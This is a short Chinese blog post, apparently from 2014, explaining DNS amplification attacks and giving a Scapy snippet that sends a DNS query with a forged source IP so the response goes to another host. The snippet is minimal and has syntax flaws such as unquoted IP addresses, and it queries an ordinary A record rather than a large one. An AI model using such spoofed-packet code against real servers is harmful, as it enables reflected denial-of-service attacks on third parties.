您的位置:首页 > 编程语言 > Python开发

用scapy模拟DNS放大***

2014-04-07 19:00 183 查看
首先,DNS放大***,简单解释有两点:
1.伪造源IP为其他人的ip地址
2.被请求的记录,要求比较大,比如TXT格式,4000KB

在A机器上,向DNS发送查询那个TXT的记录,并伪造成别人的ip,即可理解为DNS放大***。
可以用python的scapy模拟:
from scapy import *
a = IP(dst=10.32.8.11,src=10.32.132.85) #10.32.132.85即为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname=www.qq.com,qtype=1,qclass=1)
p = a/b/c
send(p)
模拟结束。
在10.32.132.85上抓dns的包,就会收到一条DNS响应,是10.32.8.11发来的。

---------------------------------------------------------------------------
低调的python小子
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  ip地址 记录 python